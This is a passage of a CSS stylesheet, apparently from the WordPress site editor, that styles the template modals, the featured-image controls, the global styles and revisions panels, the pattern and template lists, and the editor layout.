input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-label:before{
  cursor:pointer;
}
input[type=radio]:focus-visible~.fields-create-template-part-modal__area-radio-label:before{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:4px solid #0000;
}

.fields-create-template-part-modal__area-radio-checkmark,.fields-create-template-part-modal__area-radio-icon{
  fill:currentColor;
}

input[type=radio]:not(:checked)~.fields-create-template-part-modal__area-radio-checkmark{
  opacity:0;
}

.fields-create-template-part-modal__area-radio-description{
  color:#757575;
  font-size:12px;
  grid-column:2 /  3;
  line-height:normal;
  margin:0;
  text-wrap:pretty;
}
input[type=radio]:not(:checked):hover~.fields-create-template-part-modal__area-radio-description{
  color:inherit;
}

.fields-controls__slug .fields-controls__slug-external-icon{
  margin-left:5ch;
}
.fields-controls__slug .fields-controls__slug-input input.components-input-control__input{
  padding-inline-start:0 !important;
}
.fields-controls__slug .fields-controls__slug-help-link{
  word-break:break-word;
}
.fields-controls__slug .fields-controls__slug-help{
  display:flex;
  flex-direction:column;
}
.fields-controls__slug .fields-controls__slug-help .fields-controls__slug-help-slug{
  font-weight:600;
}

.fields-controls__featured-image-placeholder{
  background:#fff linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #0003;
  display:inline-block;
  padding:0;
}

.fields-controls__featured-image-title{
  color:#1e1e1e;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.fields-controls__featured-image-image{
  align-self:center;
  border-radius:2px;
  height:100%;
  width:100%;
}

.fields-controls__featured-image-container .fields-controls__featured-image-placeholder{
  margin:0;
}
.fields-controls__featured-image-container span{
  margin-right:auto;
}

fieldset.fields-controls__featured-image .fields-controls__featured-image-container{
  border:1px solid #ddd;
  border-radius:2px;
  cursor:pointer;
  padding:8px 12px;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-container:hover{
  background-color:#f0f0f0;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-placeholder{
  height:24px;
  width:24px;
}
fieldset.fields-controls__featured-image span{
  align-self:center;
  text-align:start;
  white-space:nowrap;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button{
  height:fit-content;
  padding:0;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:focus,fieldset.fields-controls__featured-image .fields-controls__featured-image-upload-button:hover{
  border:0;
  color:unset;
}
fieldset.fields-controls__featured-image .fields-controls__featured-image-remove-button{
  place-self:end;
}
.dataforms-layouts-panel__field-control .fields-controls__featured-image-image,.dataforms-layouts-panel__field-control .fields-controls__featured-image-placeholder{
  height:16px;
  width:16px;
}

.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-image,.dataviews-view-table__cell-content-wrapper .fields-controls__featured-image-placeholder{
  display:block;
  height:32px;
  width:32px;
}

.fields-controls__template-modal{
  z-index:1000001;
}

.fields-controls__template-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
  padding-top:2px;
}
@media (min-width:782px){
  .fields-controls__template-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .fields-controls__template-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.fields-controls__template-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.fields-field__title span:first-child{
  display:block;
  flex-grow:0;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.fields-field__pattern-title span:first-child{
  flex:1;
}

.edit-site-custom-template-modal__contents-wrapper{
  height:100%;
  justify-content:flex-start !important;
}
.edit-site-custom-template-modal__contents-wrapper>*{
  width:100%;
}
.edit-site-custom-template-modal__contents-wrapper__suggestions_list{
  margin-left:-12px;
  margin-right:-12px;
  width:calc(100% + 24px);
}
.edit-site-custom-template-modal__contents>.components-button{
  height:auto;
  justify-content:center;
}
@media (min-width:782px){
  .edit-site-custom-template-modal{
    width:456px;
  }
}
@media (min-width:600px){
  .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{
    max-height:224px;
    overflow-y:auto;
  }
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{
  display:block;
  height:auto;
  overflow-wrap:break-word;
  padding:8px 12px;
  text-align:left;
  white-space:pre-wrap;
  width:100%;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{
  background:none;
  font-weight:700;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{
  color:var(--wp-admin-theme-color);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{
  background-color:#f0f0f0;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{
  display:block;
  overflow:hidden;
  text-overflow:ellipsis;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{
  color:#757575;
  word-break:break-all;
}

.edit-site-custom-template-modal__no-results{
  border:1px solid #ccc;
  border-radius:2px;
  padding:16px;
}

.edit-site-custom-generic-template__modal .components-modal__header{
  border-bottom:none;
}
.edit-site-custom-generic-template__modal .components-modal__content:before{
  margin-bottom:4px;
}

@media (min-width:960px){
  .edit-site-add-new-template__modal{
    margin-top:64px;
    max-height:calc(100% - 128px);
    max-width:832px;
    width:calc(100% - 128px);
  }
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{
  fill:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{
  align-items:flex-start;
  flex-grow:1;
}
.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:100%;
  max-height:40px;
  max-width:40px;
  padding:8px;
}

.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{
  border:1px solid #ddd;
  display:flex;
  flex-direction:column;
  justify-content:center;
  outline:1px solid #0000;
  padding:32px;
}
.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{
  color:#1e1e1e;
}
.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{
  color:#757575;
}
.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-color:#0000;
  color:var(--wp-admin-theme-color-darker-10);
}
.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{
  border-color:#0000;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:3px solid #0000;
}
.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{
  grid-column:1 /  -1;
}

.edit-site-add-new-template__template-list__contents>.components-button{
  align-items:flex-start;
  height:100%;
  text-align:start;
}

.edit-site-visual-editor__editor-canvas.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}

.edit-site-canvas-loader{
  align-items:center;
  display:flex;
  height:100%;
  justify-content:center;
  left:0;
  opacity:0;
  position:absolute;
  top:0;
  width:100%;
}
@media not (prefers-reduced-motion){
  .edit-site-canvas-loader{
    animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;
    animation-fill-mode:forwards;
  }
}
.edit-site-canvas-loader>div{
  width:160px;
}

@keyframes edit-site-canvas-loader__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.edit-site-global-styles-preview{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  line-height:1;
}

.edit-site-global-styles-preview__wrapper{
  display:block;
  max-width:100%;
  width:100%;
}

.edit-site-typography-preview{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  display:flex;
  justify-content:center;
  margin-bottom:16px;
  min-height:100px;
  overflow:hidden;
}

.edit-site-font-size__item{
  line-break:anywhere;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.edit-site-font-size__item-value{
  color:#757575;
}

.edit-site-global-styles-screen{
  margin:12px 16px 16px;
}

.edit-site-global-styles-screen-typography__indicator{
  align-items:center;
  border-radius:1px;
  display:flex !important;
  font-size:14px;
  height:24px;
  justify-content:center;
  width:24px;
}

.edit-site-global-styles-screen-typography__font-variants-count{
  color:#757575;
}

.edit-site-global-styles-font-families__manage-fonts{
  justify-content:center;
}

.edit-site-global-styles-screen .color-block-support-panel{
  border-top:none;
  padding-left:0;
  padding-right:0;
  padding-top:0;
  row-gap:12px;
}

.edit-site-global-styles-header__description{
  padding:0 16px;
}

.edit-site-block-types-search{
  margin-bottom:8px;
  padding:0 16px;
}

.edit-site-global-styles-header{
  margin-bottom:0 !important;
}

.edit-site-global-styles-subtitle{
  font-size:11px !important;
  font-weight:500 !important;
  margin-bottom:0 !important;
  text-transform:uppercase;
}

.edit-site-global-styles-section-title{
  color:#2f2f2f;
  font-weight:600;
  line-height:1.2;
  margin:0;
  padding:16px 16px 0;
}

.edit-site-global-styles-icon-with-current-color{
  fill:currentColor;
}

.edit-site-global-styles__color-indicator-wrapper{
  flex-shrink:0;
  height:24px;
}

.edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__shadows-panel__title{
  height:24px;
}

.edit-site-global-styles__block-preview-panel{
  border:1px solid #e0e0e0;
  border-radius:4px;
  overflow:hidden;
  position:relative;
  width:100%;
}

.edit-site-global-styles__shadow-preview-panel{
  background-image:repeating-linear-gradient(45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5), repeating-linear-gradient(45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5);
  background-position:0 0, 8px 8px;
  background-size:16px 16px;
  border:1px solid #e0e0e0;
  border-radius:4px;
  height:144px;
  overflow:auto;
}
.edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{
  background-color:#fff;
  border:1px solid #e0e0e0;
  border-radius:2px;
  height:60px;
  width:60%;
}

.edit-site-global-styles__shadow-editor__dropdown-content{
  width:280px;
}

.edit-site-global-styles__shadow-editor-panel{
  margin-bottom:4px;
}

.edit-site-global-styles__shadow-editor__dropdown{
  position:relative;
  width:100%;
}

.edit-site-global-styles__shadow-editor__dropdown-toggle{
  border-radius:inherit;
  height:auto;
  padding-bottom:8px;
  padding-top:8px;
  text-align:left;
  width:100%;
}
.edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{
  background:#f0f0f0;
  color:var(--wp-admin-theme-color);
}

.edit-site-global-styles__shadow-editor__remove-button{
  opacity:0;
  position:absolute;
  right:8px;
  top:8px;
}
.edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{
  border:none;
}
.edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{
  opacity:1;
}
@media (hover:none){
  .edit-site-global-styles__shadow-editor__remove-button{
    opacity:1;
  }
}

.edit-site-global-styles-screen-css{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
  margin:16px;
}
.edit-site-global-styles-screen-css .components-v-stack{
  flex:1 1 auto;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{
  direction:ltr;
  flex:1 1 auto;
}

.edit-site-global-styles-screen-css-help-link{
  display:inline-block;
  margin-top:8px;
}

.edit-site-global-styles-screen-variations{
  border-top:1px solid #ddd;
  margin-top:16px;
}
.edit-site-global-styles-screen-variations>*{
  margin:24px 16px;
}

.edit-site-global-styles-sidebar__navigator-provider{
  height:100%;
}

.edit-site-global-styles-sidebar__navigator-screen{
  display:flex;
  flex-direction:column;
  height:100%;
}

.edit-site-global-styles-sidebar__navigator-screen .single-column{
  grid-column:span 1;
}

.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{
  background:unset;
  color:inherit;
}

.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{
  fill:currentColor;
}

.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{
  border-radius:2px;
}

.edit-site-global-styles-screen-revisions__revisions-list{
  flex-grow:1;
  list-style:none;
  margin:0 16px 16px;
}
.edit-site-global-styles-screen-revisions__revisions-list li{
  margin-bottom:0;
}

.edit-site-global-styles-screen-revisions__revision-item{
  cursor:pointer;
  display:flex;
  flex-direction:column;
  position:relative;
}
.edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.edit-site-global-styles-screen-revisions__revision-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{
  content:"\a";
  display:block;
  position:absolute;
}
.edit-site-global-styles-screen-revisions__revision-item:before{
  background:#ddd;
  border:4px solid #0000;
  border-radius:50%;
  height:8px;
  left:17px;
  top:18px;
  transform:translate(-50%, -50%);
  width:8px;
  z-index:1;
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:2px;
  color:var(--wp-admin-theme-color);
  outline:3px solid #0000;
  outline-offset:-2px;
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{
  background:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{
  color:#1e1e1e;
}
.edit-site-global-styles-screen-revisions__revision-item:after{
  border:.5px solid #ddd;
  height:100%;
  left:16px;
  top:0;
  width:0;
}
.edit-site-global-styles-screen-revisions__revision-item:first-child:after{
  top:18px;
}
.edit-site-global-styles-screen-revisions__revision-item:last-child:after{
  height:18px;
}

.edit-site-global-styles-screen-revisions__revision-item-wrapper{
  display:block;
  padding:12px 12px 4px 40px;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{
  align-self:flex-start;
  margin:4px 12px 12px 40px;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{
  color:#757575;
  font-size:12px;
}

.edit-site-global-styles-screen-revisions__description{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{
  font-size:12px;
  font-weight:600;
  text-transform:uppercase;
}

.edit-site-global-styles-screen-revisions__meta{
  align-items:flex-start;
  display:flex;
  justify-content:start;
  margin-bottom:4px;
  text-align:left;
  width:100%;
}
.edit-site-global-styles-screen-revisions__meta img{
  border-radius:100%;
  height:16px;
  margin-right:8px;
  width:16px;
}

.edit-site-global-styles-screen-revisions__loading{
  margin:24px auto !important;
}

.edit-site-global-styles-screen-revisions__changes{
  line-height:1.4;
  list-style:disc;
  margin-left:12px;
  text-align:left;
}
.edit-site-global-styles-screen-revisions__changes li{
  margin-bottom:4px;
}

.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{
  gap:2px;
  justify-content:space-between;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{
  height:1px;
  left:-1000px;
  margin:-1px;
  overflow:hidden;
  position:absolute;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{
  font-size:12px;
  will-change:opacity;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{
  color:#1e1e1e;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{
  color:#949494;
}

.edit-site-global-styles-screen-revisions__footer{
  background:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:56px;
  min-width:100%;
  padding:12px;
  position:sticky;
  z-index:1;
}

.editor-sidebar{
  width:280px;
}
.editor-sidebar>.components-panel{
  border-left:0;
  border-right:0;
  margin-bottom:-1px;
  margin-top:-1px;
}
.editor-sidebar>.components-panel>.components-panel__header{
  background:#f0f0f0;
}
.editor-sidebar .block-editor-block-inspector__card{
  margin:0;
}

.edit-site-global-styles-sidebar{
  display:flex;
  flex-direction:column;
  min-height:100%;
}
.edit-site-global-styles-sidebar__panel{
  flex:1;
}

.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{
  margin:0;
}

.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{
  flex:1;
}

.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{
  font-size:15.6px;
  font-weight:500;
}

.edit-site-global-styles-sidebar .components-navigation__item>button span{
  font-weight:500;
}

.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{
  border:0;
}

.edit-site-global-styles-sidebar .single-column{
  grid-column:span 1;
}

.edit-site-global-styles-sidebar .components-tools-panel .span-columns{
  grid-column:1 /  -1;
}

.edit-site-global-styles-sidebar__blocks-group{
  border-top:1px solid #e0e0e0;
  padding-top:24px;
}

.edit-site-global-styles-sidebar__blocks-group-help{
  padding:0 16px;
}

.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{
  padding:16px;
}

.edit-site-global-styles-sidebar hr{
  margin:0;
}

.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{
  width:auto;
}
.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}

.edit-site-page{
  background:#fff;
  color:#2f2f2f;
  container:edit-site-page/inline-size;
  height:100%;
}
@media not (prefers-reduced-motion){
  .edit-site-page{
    transition:width .2s ease-out;
  }
}

.edit-site-page-header{
  background:#fff;
  border-bottom:1px solid #f0f0f0;
  padding:16px 48px;
  position:sticky;
  top:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .edit-site-page-header{
    transition:padding .1s ease-out;
  }
}
.edit-site-page-header .components-heading{
  color:#1e1e1e;
}
.edit-site-page-header .edit-site-page-header__page-title{
  min-height:40px;
}
.edit-site-page-header .edit-site-page-header__page-title .components-heading{
  flex-basis:0;
  flex-grow:1;
  white-space:nowrap;
}
.edit-site-page-header .edit-site-page-header__sub-title{
  margin-bottom:8px;
}

@container (max-width: 430px){
  .edit-site-page-header{
    padding:16px 24px;
  }
}
.edit-site-page-content{
  display:flex;
  flex-flow:column;
  height:100%;
  position:relative;
  z-index:1;
}

.edit-site-patterns__delete-modal{
  width:384px;
}

.page-patterns-preview-field{
  align-items:center;
  border-radius:4px;
  display:flex;
  flex-direction:column;
  height:100%;
  justify-content:center;
}
.dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{
  height:100%;
}
.dataviews-view-table .page-patterns-preview-field{
  flex-grow:0;
  text-wrap:balance;
  text-wrap:pretty;
  width:96px;
}

.edit-site-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
  flex-shrink:0;
}

.edit-site-patterns__section-header{
  border-bottom:1px solid #f0f0f0;
  flex-shrink:0;
  min-height:40px;
  padding:16px 48px;
  position:sticky;
  top:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .edit-site-patterns__section-header{
    transition:padding .1s ease-out;
  }
}
.edit-site-patterns__section-header .edit-site-patterns__title{
  min-height:40px;
}
.edit-site-patterns__section-header .edit-site-patterns__title .components-heading{
  flex-basis:0;
  flex-grow:1;
  white-space:nowrap;
}
.edit-site-patterns__section-header .edit-site-patterns__sub-title{
  margin-bottom:8px;
}
.edit-site-patterns__section-header .screen-reader-shortcut:focus{
  top:0;
}

.edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){
  background:rgba(var(--wp-block-synced-color--rgb), .04);
  color:var(--wp-block-synced-color);
}

.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{
  width:350px;
}
.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  left:-1px;
  max-height:96px;
  min-width:auto;
  position:absolute;
  width:calc(100% + 2px);
  z-index:1;
}

@media (min-width:600px){
  .dataviews-action-modal__duplicate-template-part .components-modal__frame{
    max-width:500px;
  }
}

@container (max-width: 430px){
  .edit-site-page-patterns-dataviews .edit-site-patterns__section-header{
    padding-left:24px;
    padding-right:24px;
  }
}
.page-templates-preview-field{
  align-items:center;
  border-radius:4px;
  display:flex;
  flex-direction:column;
  height:100%;
  justify-content:center;
  width:100%;
}
.dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{
  height:120px;
}
.dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{
  height:100%;
}
.dataviews-view-table .page-templates-preview-field{
  max-height:160px;
  position:relative;
  text-wrap:balance;
  text-wrap:pretty;
  width:120px;
}
.dataviews-view-table .page-templates-preview-field:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}

.page-templates-description{
  max-width:50em;
  text-wrap:balance;
  text-wrap:pretty;
}
.dataviews-view-table .page-templates-description{
  display:block;
  margin-bottom:8px;
}

.edit-site-page-templates .dataviews-pagination{
  z-index:2;
}

.page-templates-author-field__avatar{
  align-items:center;
  display:flex;
  flex-shrink:0;
  height:24px;
  justify-content:left;
  overflow:hidden;
  width:24px;
}
.page-templates-author-field__avatar img{
  border-radius:100%;
  height:16px;
  object-fit:cover;
  opacity:0;
  width:16px;
}
@media not (prefers-reduced-motion){
  .page-templates-author-field__avatar img{
    transition:opacity .1s linear;
  }
}
.page-templates-author-field__avatar.is-loaded img{
  opacity:1;
}

.page-templates-author-field__icon{
  display:flex;
  flex-shrink:0;
  height:24px;
  width:24px;
}
.page-templates-author-field__icon svg{
  margin-left:-4px;
  fill:currentColor;
}

.page-templates-author-field__name{
  overflow:hidden;
  text-overflow:ellipsis;
}

.edit-site-list__rename-modal{
  z-index:1000001;
}
@media (min-width:782px){
  .edit-site-list__rename-modal .components-base-control{
    width:320px;
  }
}

.edit-site-editor__editor-interface{
  opacity:1;
}
@media not (prefers-reduced-motion){
  .edit-site-editor__editor-interface{
    transition:opacity .1s ease-out;
  }
}
.edit-site-editor__editor-interface.is-loading{
  opacity:0;
}

.edit-site-editor__toggle-save-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  padding:24px;
  width:280px;
}

.edit-site-editor__view-mode-toggle{
  view-transition-name:toggle;
  height:60px;
  left:0;
  top:0;
  width:60px;
  z-index:100;
}
.edit-site-editor__view-mode-toggle .components-button{
  align-items:center;
  border-radius:0;
  color:#fff;
  display:flex;
  height:100%;
  justify-content:center;
  overflow:hidden;
  padding:0;
  width:100%;
}
.edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{
  color:#fff;
}
.edit-site-editor__view-mode-toggle .components-button:focus{
  box-shadow:none;
}
.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{
  background:#1e1e1e;
  display:block;
}

.edit-site-editor__back-icon{
  align-items:center;
  background-color:#ccc;
  display:flex;
  height:60px;
  justify-content:center;
  left:0;
  pointer-events:none;
  position:absolute;
  top:0;
  width:60px;
}
.edit-site-editor__back-icon svg{
  fill:currentColor;
}
.edit-site-editor__back-icon.has-site-icon{
  -webkit-backdrop-filter:saturate(180%) blur(15px);
  backdrop-filter:saturate(180%) blur(15px);
  background-color:#fff9;
}

.edit-site-welcome-guide{
  width:312px;
}
.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{
  background:#00a0d2;
}
.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{
  border-right:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{
  border-left:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide__image{
  margin:0 0 16px;
}
.edit-site-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-site-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-site-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 16px;
  padding:0 32px;
}
.edit-site-welcome-guide__text img{
  vertical-align:bottom;
}
.edit-site-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-site-layout{
  color:#ccc;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{
  background:#1e1e1e;
}

.edit-site-layout__content{
  display:flex;
  flex-grow:1;
  height:100%;
}

.edit-site-layout__sidebar-region{
  flex-shrink:0;
  width:100vw;
  z-index:1;
}
@media (min-width:782px){
  .edit-site-layout__sidebar-region{
    width:300px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{
  height:100vh;
  left:0;
  position:fixed !important;
  top:0;
}
.edit-site-layout__sidebar-region .edit-site-layout__sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout__sidebar-region .resizable-editor__drag-handle{
  right:0;
}

.edit-site-layout__main{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}

.edit-site-layout__mobile{
  display:flex;
  flex-direction:column;
  position:relative;
  width:100%;
  z-index:2;
}
.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{
  padding:0;
}
.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{
  padding:0 12px;
}

.edit-site-layout__canvas-container{
  flex-grow:1;
  overflow:visible;
  position:relative;
  z-index:2;
}
.edit-site-layout__canvas-container.is-resizing:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100;
}

.edit-site-layout__canvas{
  align-items:center;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.edit-site-layout__canvas.is-right-aligned{
  justify-content:flex-end;
}
.edit-site-layout__canvas .edit-site-resizable-frame__inner{
  color:#1e1e1e;
}
@media (min-width:782px){
  .edit-site-layout__canvas{
    bottom:16px;
    top:16px;
    width:calc(100% - 16px);
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
